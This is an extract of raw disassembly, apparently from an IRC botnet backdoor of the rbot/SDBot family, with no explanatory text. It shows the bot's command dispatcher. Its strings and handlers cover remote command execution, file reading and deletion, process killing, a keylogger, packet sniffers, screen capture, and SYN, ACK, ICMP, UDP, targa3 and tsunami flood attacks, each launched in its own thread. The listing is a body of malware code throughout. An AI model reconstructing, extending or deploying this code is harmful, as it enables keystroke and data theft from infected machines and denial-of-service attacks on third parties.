eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_42CA60 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_42CA60 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h loc_40562E: ; CODE XREF: seg000:0040552Bj ; seg000:00405538j push dword ptr [ebp+18h] push offset aMix ; "mix" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405751 cmp [ebp+esi-88h], ebx jz loc_405751 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_42CA90 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 20h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_405751: ; CODE XREF: seg000:0040563Fj ; seg000:0040564Cj push dword ptr [ebp+18h] push offset aRegister ; "register" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405797 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_405797 push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_405797: ; CODE XREF: seg000:00405762j ; seg000:0040576Dj push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406266 mov edi, offset dword_4D6C4C loc_4057B3: ; CODE XREF: seg000:004057D2j cmp dword ptr [edi-4], 1 jnz short loc_4057C6 mov eax, [edi] cmp eax, ebx jbe short loc_4057C6 push eax call ds:dword_4CDC90 ; closesocket loc_4057C6: ; CODE XREF: seg000:004057B7j ; seg000:004057BDj add edi, 210h cmp edi, offset dword_4DD36C jl short loc_4057B3 cmp [ebp-8], ebx jnz loc_406266 push ebx push dword ptr [ebp-4] push offset unk_42CA00 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h jmp loc_406266 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: seg000:00404CABj mov edi, [ebp+10h] push edi push offset aNick_0 ; "nick" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409663 push edi push offset aN ; "n" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409663 push edi push offset aJoin ; "join" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40963F push edi push offset aJ ; "j" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40963F push edi push offset aPart_0 ; "part" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409622 push edi push offset aPt ; "pt" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409622 push edi push offset aRaw ; "raw" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4095E9 push edi push offset aR ; "r" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4095E9 push edi push offset aKillthread ; "killthread" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409537 push edi push offset aK ; "k" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409537 push edi push offset aC_quit ; "c_quit" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409489 push edi push offset aC_q ; "c_q" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409489 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40943A push edi push offset aC_rn ; "c_rn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40943A push edi push offset aPrefix ; "prefix" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409421 push edi push offset aPr ; "pr" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409421 push edi push offset aOpen ; "open" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4093F3 push edi push offset aO ; "o" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4093F3 push edi push offset aS3rv3rfg ; "s3rv3rfg" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4093CA push edi push offset aS3rv3rfg2 ; "s3rv3rfg2" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4093CA push edi push offset aDns ; "dns" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409362 push edi push offset aDn ; "dn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409362 push edi push offset aKillproc ; "killproc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409332 push edi push offset aKp ; "kp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409332 push edi push offset aKill ; "kill" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4092D3 push edi push offset aKi ; "ki" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4092D3 push edi push offset aDelete ; "delete" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409298 push edi push offset aDel ; "del" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409298 push edi push offset aGet ; "get" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4091B6 push edi push offset aGt ; "gt" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4091B6 push edi push offset aList ; "list" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409197 push edi push offset aLi ; "li" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409197 push edi push offset aVisit ; "visit" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4090B6 push edi push offset aV ; "v" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4090B6 push edi push offset aMirccmd ; "mirccmd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409040 push edi push offset aMirc ; "mirc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409040 push edi push offset aCmd ; "cmd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408FEA push edi push offset aCm ; "cm" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408FEA push edi push offset aReadfile ; "readfile" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408F5F push edi push offset aRf ; "rf" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408F5F push edi push offset aPsniff ; "psniff" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405C95 push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405C5B push 20h call sub_40B1B3 test eax, eax pop ecx jle short loc_405B89 push offset dword_42C8F0 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405B89: ; CODE XREF: seg000:00405B7Dj mov eax, [ebp+0Ch] mov esi, [ebp+esi-88h] mov [ebp-0FE8h], eax mov eax, [ebp-4] mov [ebp-0F60h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-0F5Ch], eax jnz short loc_405BCB mov esi, offset aFa ; "#fa" push offset dword_43FDB4 push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405BCB mov esi, [ebp-88h] loc_405BCB: ; CODE XREF: seg000:00405BADj ; seg000:00405BC3j push esi lea eax, [ebp-0FE4h] push 80h push eax call sub_41BB70 lea eax, [ebp-2C0h] push offset dword_42C8C0 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 20h push eax call sub_40AF71 add esp, 20h mov [ebp-0F64h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0FE8h] push ebx push eax push offset loc_412128 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0F64h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_405C4E call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C884 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_405C46: ; CODE XREF: seg000:00405C54j push 32h call ds:dword_428064 ; Sleep loc_405C4E: ; CODE XREF: seg000:00405C33j cmp [ebp-0F58h], ebx jz short loc_405C46 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_405C5B: ; CODE XREF: seg000:00405B6Dj push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406EA9 push ebx push 20h call sub_40B166 pop ecx cmp eax, ebx pop ecx jle short loc_405C8B push eax push offset dword_42C848 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_405C8B: ; CODE XREF: seg000:00405C7Ej push offset dword_42C81C jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: seg000:00405B56j push edi push offset aSniffer ; "sniffer" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405DE3 push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405DA9 push 21h call sub_40B1B3 test eax, eax pop ecx jle short loc_405CD7 push offset unk_42C7F4 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405CD7: ; CODE XREF: seg000:00405CCBj mov eax, [ebp+0Ch] mov esi, [ebp+esi-88h] mov [ebp-0EC0h], eax mov eax, [ebp-4] mov [ebp-0E38h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-0E34h], eax jnz short loc_405D19 mov esi, offset aFa ; "#fa" push offset dword_43FDB4 push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405D19 mov esi, [ebp-88h] loc_405D19: ; CODE XREF: seg000:00405CFBj ; seg000:00405D11j push esi lea eax, [ebp-0EBCh] push 80h push eax call sub_41BB70 lea eax, [ebp-2C0h] push offset unk_42C7C4 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 21h push eax call sub_40AF71 add esp, 20h mov [ebp-0E3Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0EC0h] push ebx push eax push offset loc_4127AD push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0E3Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_405D9C call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C788 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_405D94: ; CODE XREF: seg000:00405DA2j push 32h call ds:dword_428064 ; Sleep loc_405D9C: ; CODE XREF: seg000:00405D81j cmp [ebp-0E30h], ebx jz short loc_405D94 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_405DA9: ; CODE XREF: seg000:00405CBBj push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406EA9 push ebx push 21h call sub_40B166 pop ecx cmp eax, ebx pop ecx jle short loc_405DD9 push eax push offset unk_42C748 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_405DD9: ; CODE XREF: seg000:00405DCCj push offset unk_42C714 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405DE3: ; CODE XREF: seg000:00405CA4j push edi push offset aKeylog ; "keylog" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405F6B push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C260 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405E59 push dword ptr [ebp+18h] push edi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_405E59 push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406EA9 push ebx push 23h call sub_40B166 pop ecx cmp eax, ebx pop ecx jle short loc_405E4F push eax push offset dword_42C6C8 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_405E4F: ; CODE XREF: seg000:00405E42j push offset dword_42C69C jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405E59: ; CODE XREF: seg000:00405E0Ej ; seg000:00405E1Dj push 23h call sub_40B1B3 test eax, eax pop ecx jle short loc_405E6F push offset dword_42C67C jmp loc_406E9B ; --------------------------------------------------------------------------- loc_405E6F: ; CODE XREF: seg000:00405E63j mov eax, [ebp+0Ch] push dword ptr [ebp+18h] mov [ebp-0C58h], eax mov eax, [ebp-4] push edi mov [ebp-0BD0h], eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405E9C mov dword ptr [ebp-0BCCh], 1 jmp short loc_405EA5 ; --------------------------------------------------------------------------- loc_405E9C: ; CODE XREF: seg000:00405E8Ej mov eax, [ebp-8] mov [ebp-0BCCh], eax loc_405EA5: ; CODE XREF: seg000:00405E9Aj mov esi, [ebp+esi-88h] cmp esi, ebx jnz short loc_405ECC mov esi, offset aBo_1 ; "#bo-" push offset dword_43FDB4 push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405ECC mov esi, [ebp-88h] loc_405ECC: ; CODE XREF: seg000:00405EAEj ; seg000:00405EC4j push esi lea eax, [ebp-0C50h] push 80h push eax call sub_41BB70 lea eax, [ebp-2C0h] push offset dword_42C658 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 23h push eax call sub_40AF71 add esp, 20h mov [ebp-0C54h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0C58h] push ebx push eax push offset loc_411E53 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0C54h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_405F5E call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C61C loc_405F42: ; CODE XREF: seg000:00403BA4j ; seg000:004049D5j ... lea eax, [ebp-2C0h] push eax call sub_41BA76 loc_405F4E: ; CODE XREF: seg000:004049CAj ; seg000:00406FF4j add esp, 0Ch jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_405F56: ; CODE XREF: seg000:00405F64j push 32h call ds:dword_428064 ; Sleep loc_405F5E: ; CODE XREF: seg000:00405F34j cmp [ebp-0BC8h], ebx jz short loc_405F56 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_405F6B: ; CODE XREF: seg000:00405DF2j push edi push offset aNet ; "net" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406212 cmp ds:dword_4CDCC4, ebx jz short loc_405F9A cmp ds:dword_4CDCEC, ebx jz short loc_405F9A push offset unk_42C5E0 jmp loc_4061FF ; --------------------------------------------------------------------------- loc_405F9A: ; CODE XREF: seg000:00405F86j ; seg000:00405F8Ej cmp [ebp-0Ch], ebx jz loc_406C7F mov edi, [ebp+esi-88h] mov [ebp+8], ebx cmp edi, ebx jz short loc_405FBF push edi push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx mov [ebp+8], eax pop ecx loc_405FBF: ; CODE XREF: seg000:00405FAFj push dword ptr [ebp+18h] push offset aStart ; "start" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40602C cmp edi, ebx jz short loc_405FFA push dword ptr [ebp+8] push 3 loc_405FDB: ; CODE XREF: seg000:00406044j ; seg000:0040605Ej ... call sub_4188AF push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BA76 add esp, 14h jmp loc_406C7F ; --------------------------------------------------------------------------- loc_405FFA: ; CODE XREF: seg000:00405FD4j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_418B56 add esp, 0Ch test eax, eax lea eax, [ebp-2C0h] jz short loc_406022 push offset unk_42C5B4 jmp loc_406205 ; --------------------------------------------------------------------------- loc_406022: ; CODE XREF: seg000:00406016j push offset unk_42C594 jmp loc_406205 ; --------------------------------------------------------------------------- loc_40602C: ; CODE XREF: seg000:00405FD0j push dword ptr [ebp+18h] push offset aStop ; "stop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_406046 push dword ptr [ebp+8] push 4 jmp short loc_405FDB ; --------------------------------------------------------------------------- loc_406046: ; CODE XREF: seg000:0040603Dj push dword ptr [ebp+18h] push offset aPause ; "pause" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_406063 push dword ptr [ebp+8] push 5 jmp loc_405FDB ; --------------------------------------------------------------------------- loc_406063: ; CODE XREF: seg000:00406057j push dword ptr [ebp+18h] push offset aContinue ; "continue" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_406080 push dword ptr [ebp+8] push 6 jmp loc_405FDB ; --------------------------------------------------------------------------- loc_406080: ; CODE XREF: seg000:00406074j push dword ptr [ebp+18h] push offset aDelete ; "delete" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40609D push dword ptr [ebp+8] push 1 jmp loc_405FDB ; --------------------------------------------------------------------------- loc_40609D: ; CODE XREF: seg000:00406091j push dword ptr [ebp+18h] push offset aShare ; "share" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40611D cmp edi, ebx jz short loc_4060EA cmp [ebp-8F8h], bl jz short loc_4060C2 push ebx push edi push 1 jmp short loc_4060CB ; --------------------------------------------------------------------------- loc_4060C2: ; CODE XREF: seg000:004060BAj push dword ptr [ebp+esi-84h] push edi push ebx loc_4060CB: ; CODE XREF: seg000:004060C0j call sub_418C96 push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BA76 add esp, 18h jmp loc_406C7F ; --------------------------------------------------------------------------- loc_4060EA: ; CODE XREF: seg000:004060B2j push ebx push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_418E8B add esp, 10h test eax, eax lea eax, [ebp-2C0h] jz short loc_406113 push offset unk_42C54C jmp loc_406205 ; --------------------------------------------------------------------------- loc_406113: ; CODE XREF: seg000:00406107j push offset unk_42C52C jmp loc_406205 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: seg000:004060AEj push dword ptr [ebp+18h] push offset aUser ; "user" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_4061AE cmp edi, ebx jz short loc_406181 push dword ptr [ebp-4] cmp [ebp-8F8h], bl push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] jz short loc_40614E push ebx push edi push 1 jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40614E: ; CODE XREF: seg000:00406146j mov esi, [ebp+esi-84h] cmp esi, ebx jz short loc_40615E push esi push edi push ebx jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40615E: ; CODE XREF: seg000:00406157j push ebx push edi push 2 loc_406162: ; CODE XREF: seg000:0040614Cj ; seg000:0040615Cj call sub_418FAC push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BA76 add esp, 24h jmp loc_406C7F ; --------------------------------------------------------------------------- loc_406181: ; CODE XREF: seg000:00406132j push ebx push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4194C0 add esp, 10h test eax, eax lea eax, [ebp-2C0h] jz short loc_4061A7 push offset unk_42C50C jmp short loc_406205 ; --------------------------------------------------------------------------- loc_4061A7: ; CODE XREF: seg000:0040619Ej push offset unk_42C4EC jmp short loc_406205 ; --------------------------------------------------------------------------- loc_4061AE: ; CODE XREF: seg000:0040612Ej push dword ptr [ebp+18h] push offset aSend ; "send" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_4061FA cmp edi, ebx jz short loc_4061F3 push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call loc_41976A push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BA76 add esp, 1Ch jmp loc_406C7F ; --------------------------------------------------------------------------- loc_4061F3: ; CODE XREF: seg000:004061C3j push offset unk_42C4C0 jmp short loc_4061FF ; --------------------------------------------------------------------------- loc_4061FA: ; CODE XREF: seg000:004061BFj push offset unk_42C4A4 loc_4061FF: ; CODE XREF: seg000:00404975j ; seg000:00405F95j ... lea eax, [ebp-2C0h] loc_406205: ; CODE XREF: seg000:0040601Dj ; seg000:00406027j ... push eax call sub_41BA76 pop ecx pop ecx jmp loc_406C7F ; --------------------------------------------------------------------------- loc_406212: ; CODE XREF: seg000:00405F7Aj push edi push offset aCapture ; "capture" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408D1B push edi push offset aCap ; "cap" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408D1B push edi push offset aGethost ; "gethost" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408C37 push edi push offset aGh ; "gh" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408C37 loc_406266: ; CODE XREF: seg000:004057A8j ; seg000:004057D7j ... mov edi, [ebp+esi-88h] cmp edi, ebx mov [ebp+24h], edi jz loc_401F82 push dword ptr [ebp+10h] push offset aKilllog ; "killlog" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408C1A push dword ptr [ebp+10h] push offset aKl ; "kl" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408C1A push dword ptr [ebp+10h] push offset aAddalias ; "addalias" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408BD9 push dword ptr [ebp+10h] push offset aAa ; "aa" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408BD9 push dword ptr [ebp+10h] push offset aPrivmsg_0 ; "privmsg" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408B7F push dword ptr [ebp+10h] push offset dword_42CBB4 call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408B7F push dword ptr [ebp+10h] push offset aAction ; "action" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408B0D push dword ptr [ebp+10h] push offset aA ; "a" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408B0D push dword ptr [ebp+10h] push offset aCycle ; "cycle" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408AA9 push dword ptr [ebp+10h] push offset aCy ; "cy" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408AA9 push dword ptr [ebp+10h] push offset aMode ; "mode" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408A6B push dword ptr [ebp+10h] push offset aM ; "m" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408A6B push dword ptr [ebp+10h] push offset aC_raw ; "c_raw" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4089FF push dword ptr [ebp+10h] push offset aC_r ; "c_r" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4089FF push dword ptr [ebp+10h] push offset aC_mode ; "c_mode" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40897C push dword ptr [ebp+10h] push offset aC_m ; "c_m" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40897C push dword ptr [ebp+10h] push offset aC_nick ; "c_nick" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40890F push dword ptr [ebp+10h] push offset aC_n ; "c_n" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40890F push dword ptr [ebp+10h] push offset aC_join ; "c_join" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4088E9 push dword ptr [ebp+10h] push offset aC_j ; "c_j" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4088E9 push dword ptr [ebp+10h] push offset aC_part ; "c_part" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408885 push dword ptr [ebp+10h] push offset aC_p ; "c_p" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408885 push dword ptr [ebp+10h] push offset aTarga3 ; "targa3" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40878D push dword ptr [ebp+10h] push offset aT3 ; "t3" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40878D push dword ptr [ebp+10h] push offset aTsunami ; "tsunami" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4086BC push dword ptr [ebp+10h] push offset aTsn ; "tsn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4086BC push dword ptr [ebp+10h] push offset aRepeat ; "repeat" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4085F7 push dword ptr [ebp+10h] push offset aRp ; "rp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4085F7 push dword ptr [ebp+10h] push offset aDelay ; "delay" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40855A push dword ptr [ebp+10h] push offset aDe ; "de" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40855A push dword ptr [ebp+10h] push offset aFalehupd ; "falehupd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4083DE push dword ptr [ebp+10h] push offset aFalehupd2 ; "falehupd2" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4083DE push dword ptr [ebp+10h] push offset aExecute ; "execute" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408345 push dword ptr [ebp+10h] push offset aE ; "e" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408345 push dword ptr [ebp+10h] push offset aFindfile ; "findfile" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408239 push dword ptr [ebp+10h] push offset aFf ; "ff" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408239 push dword ptr [ebp+10h] push offset aRename ; "rename" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4081E8 push dword ptr [ebp+10h] push offset aMv ; "mv" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4081E8 push dword ptr [ebp+10h] push offset aIcmpflood ; "icmpflood" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4080EE push dword ptr [ebp+10h] push offset aIcmp ; "icmp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4080EE mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+8], eax jz loc_401F82 push dword ptr [ebp+10h] push offset aClone_0 ; "clone" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408007 push dword ptr [ebp+10h] push offset aC ; "c" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_408007 push dword ptr [ebp+10h] push offset aDdos_syn ; "ddos.syn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407EF6 push dword ptr [ebp+10h] push offset aDdos_ack ; "ddos.ack" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407EF6 push dword ptr [ebp+10h] push offset aDdos_random ; "ddos.random" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407EF6 push dword ptr [ebp+10h] push offset aWisdom_udp ; "wisdom.udp" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_406778 push 7Fh lea eax, [ebp-348Ch] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41B7E0 push esi lea eax, [ebp-340Ch] push edi push eax call sub_41B7E0 push esi lea eax, [ebp-338Ch] push dword ptr [ebp+8] push eax call sub_41B7E0 push esi lea eax, [ebp-330Ch] push dword ptr [ebp-88h] push eax call sub_41B7E0 mov eax, [ebp-8] mov edi, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-3284h], eax push ebx lea eax, [ebp-2C0h] push 13h push eax mov [ebp-3288h], edi mov [ebp-3490h], esi call sub_40AF71 add esp, 3Ch mov [ebp-328Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3490h] push ebx push eax push offset byte_4147E1 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-328Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40676B call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C310 jmp loc_403E50 ; --------------------------------------------------------------------------- loc_406763: ; CODE XREF: seg000:00406771j push 32h call ds:dword_428064 ; Sleep loc_40676B: ; CODE XREF: seg000:00406750j cmp [ebp-3280h], ebx jz short loc_406763 jmp loc_403E5F ; --------------------------------------------------------------------------- loc_406778: ; CODE XREF: seg000:004066A6j push dword ptr [ebp+10h] push offset aSynflood ; "synflood" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407E0F push dword ptr [ebp+10h] push offset aSyn ; "syn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_407E0F push dword ptr [ebp+10h] push offset aSkysyn ; "skysyn" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_4068A4 push 7Fh lea eax, [ebp-3064h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41B7E0 push esi lea eax, [ebp-2FE4h] push edi push eax call sub_41B7E0 push esi lea eax, [ebp-2F64h] push dword ptr [ebp+8] push eax call sub_41B7E0 push esi lea eax, [ebp-2EE4h] push dword ptr [ebp-88h] push eax call sub_41B7E0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-2E60h], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-2E5Ch], eax lea eax, [ebp-2C0h] mov [ebp-3068h], esi push offset dword_42C2C8 push eax call sub_41BA76 add esp, 44h lea eax, [ebp-2C0h] push ebx push 10h push eax call sub_40AF71 add esp, 0Ch mov [ebp-2E64h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3068h] push ebx push eax push offset dword_41375C push ebx 